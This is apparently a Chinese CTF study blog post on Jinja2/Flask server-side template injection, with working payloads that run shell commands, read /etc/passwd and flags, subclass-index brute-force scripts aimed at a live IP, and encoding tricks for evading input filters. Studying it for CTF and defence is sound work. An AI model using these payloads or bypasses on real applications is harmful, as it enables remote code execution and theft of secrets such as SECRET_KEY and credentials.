ssti模板注入

1.基于jinjia2的flask模板注入、

语法

变量块 {{}}  用于将表达式打印到模板输出 例如{{7*7}}最后会打印49,常用来判断是否存在模板注入
注释块 {##}  注释
控制块 {%%}  可以声明变量,也可以执行语句
声明变量:{% set a=None%}
执行语句:{% for a in range(10)}{%endfor%}   //循环

         {%if 2>1%}1{%endif%}   //若判断成功,则会回显中间的1

          {% print(1) %}       //直接输出

 魔术方法

魔法方式(Magic methods)是python的内置函数,一般以双下划线开头和结尾,比如__add__,__new__等。每个魔法方法都有对应的一个内置函数或者运算符。当我们个对象使用这些方法时,相当于对这个对象的这类方法进行重写(如运算符重载)。魔法方法的存在是对类或函数进行了提炼,供python解释器直接调用。当使用len(obj)时,实际上调用的就是obj.__len__方法,其它同理。


__class__ :类的一个内置属性,查看实例对象的类。 
__base__ :类型对象的直接基类 
__bases__ :类型对象的全部基类(直接父类),以元组形式(只有一个元素),类型的实例通常没有属性 __bases__ 
__mro__ :可以用来获取一个类的调用顺序,元组形式,返回如(<class 'str'>, <class 'object'>)。__mro__[1]就是object
------------------------------------------------------------
__subclasses__():返回这个类的所有子类,列表形式。
__builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__init__:初始化类,返回的类型是function,可以用来跳到__globals__。
__globals__:会以字典的形式返回当前位置的所有全局变量,与 func_globals  等价。
__import__:动态加载类和函数,也就是导入模块,经常用于导入os模块,语法:__import__(模块名)。如:__import__('os').popen('ls').read()
------------------------------------------------------------
__dic__ :类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 
__getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 
__getitem__():调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__add__(): 

冷门方法

url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default

其中python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

[].__class__:列表
''.__class__ :字符串
().__class__ :元组
{}.__class__:字典

过滤器

变量可以通过过滤器修改。过滤器与变量之间用管道符号 | 隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。

例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

int():将值转换为整数类型;

float():将值转换为浮点数类型;

lower():将字符串转换为小写形式;

upper():将字符串转换为大写形式;

title():将字符串中每个单词的首字母转换为大写;

capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;

strip():删除字符串开头和结尾的空白字符;

wordcount():计算字符串中的单词数量;

reverse():反转字符串;

replace():替换字符串中的指定子串;

truncate():截取字符串的指定长度;

striptags():删除字符串中的所有HTML标签;

escape()或e:转义字符串中的特殊字符;

safe():禁用HTML转义;

list():将字符串转换为列表;

string():将其他类型的值转换为字符串;

join():将序列中的元素拼接成字符串;

abs():返回数值的绝对值;

first():返回序列的第一个元素;

last():返回序列的最后一个元素;

format():格式化字符串;

length():返回字符串的长度;

sum():返回列表中所有数值的和;

sort():排序列表中的元素;

default():在变量没有值的情况下使用默认值。

strip():删除字符串开头和结尾的指定字符,默认删除空白字符。

startswith(prefix):判断字符串是否以指定前缀开头。

endswith(suffix):判断字符串是否以指定后缀结尾。

isalpha():判断字符串是否只包含字母字符。

isdigit():判断字符串是否只包含数字字符。

isalnum():判断字符串是否只包含字母和数字字符。

isspace():判断字符串是否只包含空白字符。

split(separator):将字符串按指定分隔符分割成列表。

join(iterable):使用指定字符连接序列中的元素。

count(substring):统计字符串中子串出现的次数。

find(substring):查找子串第一次出现的位置,若不存在则返回-1。

replace(old, new):替换字符串中的指定子串。

islower():判断字符串是否全为小写字母。

isupper():判断字符串是否全为大写字母。

isdigit():判断字符串是否只包含数字。

isnumeric():判断字符串是否只包含数字字符。

isdecimal():判断字符串是否只包含十进制数字字符。

isidentifier():判断字符串是否是合法的标识符。

isprintable():判断字符串是否只包含可打印字符。

encode(encoding):使用指定的编码对字符串进行编码。

decode(encoding):使用指定的编码对字符串进行解码。

详细讲讲其中较常用的几种的使用方法

1.attr

用于获取变量,""|attr("__class__")相当于"".__class__

__subclasses__()[132]相当于__subclasses__()|attr(132)

这里多提一嘴,attr是用来获取变量的,不能获取列表、字典之类的的索引,例如

.__globals__['__builtins__']不能写成.__globals__.|attr('__builtins__'),如果想要获取索引,就需要使用__getitem__魔术方法

2.format

格式化字符串

用法:{ "%s, %s!"|format(greeting, name) }}

例子:

""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]   //等价于__class__

3.first last random

返回第一、最后、随机的一个值,可以利用random写脚本来得到我们想要的值

4.join

join 过滤器可以将列表、元组或字符串的元素连接成一个字符串


{{ [1, 2, 3]|join('|') }}
    -> 1|2|3

{{ [1, 2, 3]|join }}
    -> 123

{{re=dict(reque=1,st=1)|join}}    
    ->re==request

 ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]相当于""["__class__"]

5.replace reverse

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

6.string

转换为字符串

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

 7.select unique

用于配合string取到更多的字符

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

8.length,count

获得长度

{% set cc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|length)%}
从而cc=2,cccc=4

执行命令的六种基本方式

内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令

 1.内建函数 eval 执行命令

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
       print(i)

payload1:

{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}


 payload2:

?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

[].__class__:获得列表的类

.__base__:获得object基类

.__subclasses__()[58]:获得所有子类,即获得所有object的子类,根据上述查找的脚本,第58号存在eval函数

.__init__:实例化第58号类

.__globals__['__builtins__']['eval']:查获取该类的全局变量,得到其中的builtins,取其中的eval函数(一个实现细节,大多数模块都将名称__builtins__作为其全局变量的一部分提供)

('__import__("os").popen("ls").read()'):导入os模块,调用其中的popen命令来执行命令。

2.os 模块执行命令

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替
 

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
       print(i)
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

也可以通过config,url_for等调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}

3.popen 函数执行命令

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

4.importlib 类执行命令

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
 

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    if '_frozen_importlib.BuiltinImporter' in res.text:
       print(i)

payload:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

也可以搜索__import__函数来导入os模块

payload:

payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

5.linecache 函数执行命令

inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
       print(i)
 
payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}

6.subprocess.Popen 类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
python脚本查找subprocess.Popen:
 

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'subprocess.Popen' in response.text:
                print(i)
    except:
        pass
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
"""
[] 创建一个空列表。
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__base__ 返回 str 基类对象。
str.__base__.__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[200] 表示选择该列表中的第 201 个子类,因为在 Python 中,许多内置或到处的库(如 os、sys 等)都是基于类实现的,并且继承关系可能会随着版本更新而变化。
调用所选类的初始化方法,并传递给它要执行的系统命令和参数。请注意,这里将参数传递给 shell=True 会让命令在 shell 环境下运行,这可以使用户更容易地传递一些组合命令。
communicate() 方法发起与执行命令的子进程的双向通信,并等待命令完成。我们调用此方法以获取命令输出和错误结果。
communicate()[0] 返回命令输出,因为在这个例子中无需关心可能存在的错误结果。
strip() 去除输出的最前面之后的空白字符。
"""

补充:

config_app

其中包含应用程序的所有配置值.在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。
例如:
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

绕过

绕过单双引号

1.通过python内置对象request传递参数

{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os

 request.args.a会获取get请求中的参数a的值,上式等价于

{{ config.__class__.__init__.__globals__[‘os’] }}

类似还有:

request.values.a可以获取get和post请求中参数的值

request.cookies.a可以获取cookie中参数a的值
request.form.x1       post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data.x1          post传参    (Content-Type:a/b)
request.json.x1        post传json  (Content-Type: application/json)
 

2.chr函数绕过

因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

还有一种是利用chr进行字符串拼接。可以输入config.str()拿到很长的字符串,再控制下标索引提取想要的字符进行拼接。比如构造os字符串。url_for.globals[(config.str()[2])%2b(config.str()[42])] 其实中括号内就等价于[‘os’]    (本地执行的时候有问题,留待日后)

过滤 .

1.除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。

{{"".__class__}}
{{""['__classs__']}}

 2.__getitem__绕过

调用字典中的键值,其本质其实是调用了魔术方法__getitem__,因此

__subclasses__()[132]等价于__subclasses__().__geiitem__(132)

过滤_

|attr()+request对象绕过对下划线的过滤

""|attr("__class__")相当于"".__class__

因此可以用""|attr(request.args.a)&a=__class__绕过

过滤{{

{%print(......)%}绕过

{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}

过滤关键字

0.使用__add__魔术方法:str1.__add__(str2)

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+",""进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} 
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

3.join拼接

利用join()函数来绕过关键字过滤,和使用+号连接大差不差。

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

5.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

16进制编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
​
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

base64编码

对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")
​
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

unicode编码

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

Hex编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

8进制编码

{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。

利用chr函数

因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

在jinja2可以使用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

绕过init

可以用__enter____exit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

绕过config

过滤了config,直接用self.dict就能找到里面的config

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

参考链接:Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

                SSTI模板注入绕过(进阶篇)_ssti绕过-CSDN博客 

                SSTI之细说jinja2的常用构造及利用思路 - 知乎 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值